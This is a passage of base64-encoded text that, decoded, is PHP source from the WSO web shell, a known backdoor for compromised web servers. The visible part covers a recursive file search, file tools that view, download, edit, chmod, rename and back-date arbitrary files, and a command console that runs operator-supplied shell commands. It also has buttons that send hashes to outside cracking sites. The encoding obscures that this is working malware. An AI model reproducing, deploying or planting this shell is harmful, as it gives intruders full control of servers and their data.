RwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3NsYXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCgkJV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4JywgMCk7Cgl3c29IZWFkZXIoKTsKCWVjaG8gJzxoMT5TdHJpbmcgY29udmVyc2lvbnM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJZWNobyAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAkayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcgc3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3JtPjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwoJfQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CgkJCTx0cj48dGQgd2lkdGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+CgkJCTwvdGFibGU+PC9mb3JtPiI7CgoJZnVuY3Rpb24gd3NvUmVjdXJzaXZlR2xvYigkcGF0aCkgewoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykKCQkJJHBhdGguPScvJzsKCQkkcGF0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgewoJCQlmb3JlYWNoKCRwYXRocyBhcyAkaXRlbSkgewoJCQkJaWYoQGlzX2RpcigkaXRlbSkpewoJCQkJCWlmKCRwYXRoIT0kaXRlbSkKCQkJCQkJd3NvUmVjdXJzaXZlR2xvYigkaXRlbSk7CgkJCQl9IGVsc2UgewoJCQkJCWlmKGVtcHR5KCRfUE9TVFsncDInXSkgfHwgQHN0cnBvcyhmaWxlX2dldF9jb250ZW50cygkaXRlbSksICRfUE9TVFsncDInXSkhPT1mYWxzZSkKCQkJCQkJZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJGl0ZW0pLiJcIiwgXCJ2aWV3XCIsXCJcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsKCQkJCX0KCQkJfQoJCX0KCX0KCWlmKEAkX1BPU1RbJ3AzJ10pCgkJd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CgllY2hvICI8L2Rpdj48YnI+PGgxPlNlYXJjaCBmb3IgaGFzaDo8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+CgkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoJyBzdHlsZT0nd2lkdGg6MjAwcHg7Jz48YnI+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2FjdCcgdmFsdWU9J2ZpbmQnLz4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFja2luZy5ydScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cHM6Ly9oYXNoY3JhY2tpbmcucnUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2NyYWNrZm9yLm1lJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vY3JhY2tmb3IubWUvaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4KCQk8L2Zvcm0+PC9kaXY+IjsKCXdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25GaWxlc1Rvb2xzKCkgewoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQoJCSRfUE9TVFsncDEnXSA9IHVybGRlY29kZSgkX1BPU1RbJ3AxJ10pOwoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgewoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsKCQkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwoJCQloZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIuYmFzZW5hbWUoJF9QT1NUWydwMSddKSk7CgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsKCQkJCSR0eXBlID0gQG1pbWVfY29udGVudF90eXBlKCRfUE9TVFsncDEnXSk7CgkJCQloZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsKCQkJfSBlbHNlCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoIUBmZW9mKCRmcCkpCgkJCQkJZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfWV4aXQ7Cgl9CglpZiggQCRfUE9TVFsncDInXSA9PSAnbWtmaWxlJyApIHsKCQlpZighZmlsZV9leGlzdHMoJF9QT1NUWydwMSddKSkgewoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOwoJCQlpZigkZnApIHsKCQkJCSRfUE9TVFsncDInXSA9ICJlZGl0IjsKCQkJCWZjbG9zZSgkZnApOwoJCQl9CgkJfQoJfQoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+RmlsZSB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewoJCWVjaG8gJ0ZpbGUgbm90IGV4aXN0cyc7CgkJd3NvRm9vdGVyKCk7CgkJcmV0dXJuOwoJfQoJJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwoJaWYoISR1aWQpIHsKCQkkdWlkWyduYW1lJ10gPSBAZmlsZW93bmVyKCRfUE9TVFsncDEnXSk7CgkJJGdpZFsnbmFtZSddID0gQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pOwoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsKCWVjaG8gJzxzcGFuPk5hbWU6PC9zcGFuPiAnLmh0bWxzcGVjaWFsY2hhcnMoQGJhc2VuYW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT93c29WaWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcud3NvUGVybXNDb2xvcigkX1BPU1RbJ3AxJ10pLicgPHNwYW4+T3duZXIvR3JvdXA6PC9zcGFuPiAnLiR1aWRbJ25hbWUnXS4nLycuJGdpZFsnbmFtZSddLic8YnI+JzsKCWVjaG8gJzxzcGFuPkNoYW5nZSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWN0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+QWNjZXNzIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlYXRpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5Nb2RpZnkgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVtdGltZSgkX1BPU1RbJ3AxJ10pKS4nPGJyPjxicj4nOwoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQoJCSRfUE9TVFsncDInXSA9ICd2aWV3JzsKCWlmKCBpc19maWxlKCRfUE9TVFsncDEnXSkgKQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWVsc2UKCQkkbSA9IGFycmF5KCdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsKCWZvcmVhY2goJG0gYXMgJHYpCgkJZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CgllY2hvICc8YnI+PGJyPic7Cglzd2l0Y2goJF9QT1NUWydwMiddKSB7CgkJY2FzZSAndmlldyc6CgkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CgkJCWlmKCRmcCkgewoJCQkJd2hpbGUoICFAZmVvZigkZnApICkKCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwoJCQkJQGZjbG9zZSgkZnApOwoJCQl9CgkJCWVjaG8gJzwvcHJlPic7CgkJCWJyZWFrOwoJCWNhc2UgJ2hpZ2hsaWdodCc6CgkJCWlmKCBAaXNfcmVhZGFibGUoJF9QT1NUWydwMSddKSApIHsKCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKCQkJCSRjb2RlID0gQGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkcGVybXMgPSAwOwoJCQkJZm9yKCRpPXN0cmxlbigkX1BPU1RbJ3AzJ10pLTE7JGk+PTA7LS0kaSkKCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOwoJCQkJaWYoIUBjaG1vZCgkX1BPU1RbJ3AxJ10sICRwZXJtcykpCgkJCQkJZWNobyAnQ2FuXCd0IHNldCBwZXJtaXNzaW9ucyE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwoJCQl9CgkJCWNsZWFyc3RhdGNhY2hlKCk7CgkJCWVjaG8gJzxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pjxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxudWxsLHRoaXMuY2htb2QudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jaG1vZCB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJF9QT1NUWydwMSddKSksLTQpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCQljYXNlICdlZGl0JzoKCQkJaWYoICFpc193cml0YWJsZSgkX1BPU1RbJ3AxJ10pKSB7CgkJCQllY2hvICdGaWxlIGlzblwndCB3cml0ZWFibGUnOwoJCQkJYnJlYWs7CgkJCX0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7CgkJCQkkX1BPU1RbJ3AzJ10gPSBzdWJzdHIoJF9QT1NUWydwMyddLDEpOwoJCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwidyIpOwoJCQkJaWYoJGZwKSB7CgkJCQkJQGZ3cml0ZSgkZnAsJF9QT1NUWydwMyddKTsKCQkJCQlAZmNsb3NlKCRmcCk7CgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7CgkJCQkJQHRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSk7CgkJCQl9CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKCQkJaWYoJGZwKSB7CgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CgkJCQlAZmNsb3NlKCRmcCk7CgkJCX0KCQkJZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKCQkJYnJlYWs7CgkJY2FzZSAnaGV4ZHVtcCc6CgkJCSRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CgkJCSRuID0gMDsKCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CgkJCSRsZW4gPSBzdHJsZW4oJGMpOwoJCQlmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CgkJCQlzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKCQkJCQljYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CgkJCQkJY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKCQkJCQljYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CgkJCQl9CgkJCQkkbisrOwoJCQkJaWYgKCRuID09IDMyKSB7CgkJCQkJJG4gPSAwOwoJCQkJCWlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CgkJCQkJJGhbMV0gLj0gJzxicj4nOwoJCQkJCSRoWzJdIC49ICJcbiI7CgkJCQl9CgkJIAl9CgkJCWVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKCQkJYnJlYWs7CgkJY2FzZSAncmVuYW1lJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7CgkJCQllbHNlCgkJCQkJZGllKCc8c2NyaXB0PmcobnVsbCxudWxsLCInLnVybGVuY29kZSgkX1BPU1RbJ3AzJ10pLiciLG51bGwsIiIpPC9zY3JpcHQ+Jyk7CgkJCX0KCQkJZWNobyAnPGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLFwnJyAuIHVybGVuY29kZSgkX1BPU1RbJ3AxJ10pIC4gJ1wnLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CgkJCWJyZWFrOwoJCWNhc2UgJ3RvdWNoJzoKCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewoJCQkJJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydwMyddKTsKCQkJCWlmKCR0aW1lKSB7CgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpCgkJCQkJCWVjaG8gJ0ZhaWwhJzsKCQkJCQllbHNlCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsKCQkJCX0gZWxzZSBlY2hvICdCYWQgdGltZSBmb3JtYXQhJzsKCQkJfQoJCQljbGVhcnN0YXRjYWNoZSgpOwoJCQllY2hvICc8c2NyaXB0PnAzXz0iIjs8L3NjcmlwdD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRfUE9TVFsncDEnXSkgLiAnXCcsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwoJCQlicmVhazsKCX0KCWVjaG8gJzwvZGl2Pic7Cgl3c29Gb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uQ29uc29sZSgpIHsKICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pICYmICFlbXB0eSgkX1BPU1RbJ3AyJ10pKSB7CiAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0JywgdHJ1ZSk7CiAgICAgICAgJF9QT1NUWydwMSddIC49ICcgMj4mMSc7CiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICBXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnLCAwKTsKCglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQlXU09zZXRjb29raWUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsKCQlvYl9zdGFydCgpOwoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsKCQkkdGVtcCA9IEBpY29udigkX1BPU1RbJ2NoYXJzZXQnXSwgJ1VURi04JywgYWRkY3NsYXNoZXMoIlxuJCAiLiRfUE9TVFsncDEnXS4iXG4iLndzb0V4KCRfUE9TVFsncDEnXSksIlxuXHJcdFxcJ1wwIikpOwoJCWlmKHByZWdfbWF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3AxJ10sJG1hdGNoKSkJewoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgewoJCQkJJEdMT0JBTFNbJ2N3ZCddID0gQGdldGN3ZCgpOwoJCQkJZWNobyAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7CgkJCX0KCQl9CgkJZWNobyAiZC5jZi5vdXRwdXQudmFsdWUrPSciLiR0ZW1wLiInOyI7CgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7CgkJJHRlbXAgPSBvYl9nZXRfY2xlYW4oKTsKCQllY2hvIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCVdTT3NldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCcsIDApOwoJd3NvSGVhZGVyKCk7CiAgICBlY2hvICI8c2NyaXB0PgppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOwp2YXIgY21kcyA9IG5ldyBBcnJheSgnJyk7CnZhciBjdXIgPSAwOwpmdW5jdGlvbiBrcChlKSB7Cgl2YXIgbiA9ICh3aW5kb3cuRXZlbnQpID8gZS53aGljaCA6IGUua2V5Q29kZTsKCWlmKG4gPT0gMzgpIHsKCQljdXItLTsKCQlpZihjdXI+PTApCgkJCWRvY3VtZW50LmNmLmNtZC52YWx1ZSA9IGNtZHNbY3VyXTsKCQllbHNlCgkJCWN1cisrOwoJfSBlbHNlIGlmKG4gPT0gNDApIHsKCQljdXIrKzsKCQlpZihjdXIgPCBjbWRzLmxlbmd0aCkKCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwoJCWVsc2UKCQkJY3VyLS07Cgl9Cn0KZnVuY3Rpb24gYWRkKGNtZCkgewoJY21kcy5wb3AoKTsKCWNtZHMucHVzaChjbWQpOwoJY21kcy5wdXNoKCcnKTsKCWN1ciA9IGNtZHMubGVuZ3RoLTE7Cn0KPC9zY3JpcHQ+IjsKCWVjaG8gJzxoMT5Db25zb2xlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1jZiBvbnN1Ym1pdD0iaWYoZC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZC5jZi5vdXRwdXQudmFsdWU9XCdcJztkLmNmLmNtZC52YWx1ZT1cJ1wnO3JldHVybiBmYWxzZTt9YWRkKHRoaXMuY21kLnZhbHVlKTtpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUsdGhpcy5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fSByZXR1cm4gZmFsc2U7Ij48c2VsZWN0IG5hbWU9YWxpYXM+JzsKCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgewoJCWlmKCR2ID09ICcnKSB7CgkJCWVjaG8gJzxvcHRncm91cCBsYWJlbD0iLScuaHRtbHNwZWNpYWxjaGFycygkbikuJy0iPjwvb3B0Z3JvdXA+JzsKCQkJY29udGludWU7CgkJfQoJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkdikuJyI+Jy4kbi4nPC9vcHRpb24+JzsKCX0KCQoJZWNobyAnPC9zZWxlY3Q+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9ImFkZChkLmNmLmFsaWFzLnZhbHVlKTtpZihkLmNmLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCxkLmNmLmFsaWFzLnZhbHVlLGQuY2Yuc2hvd19lcnJvcnMuY2hlY2tlZD8xOlwnXCcpO30iIHZhbHVlPSI+PiI+IDxub2JyPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2YWx1ZT0xICcuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2luZyBBSkFYIDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c2hvd19lcnJvcnMgdmFsdWU9MSAnLighZW1wdHkoJF9QT1NUWydwMiddKXx8JF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc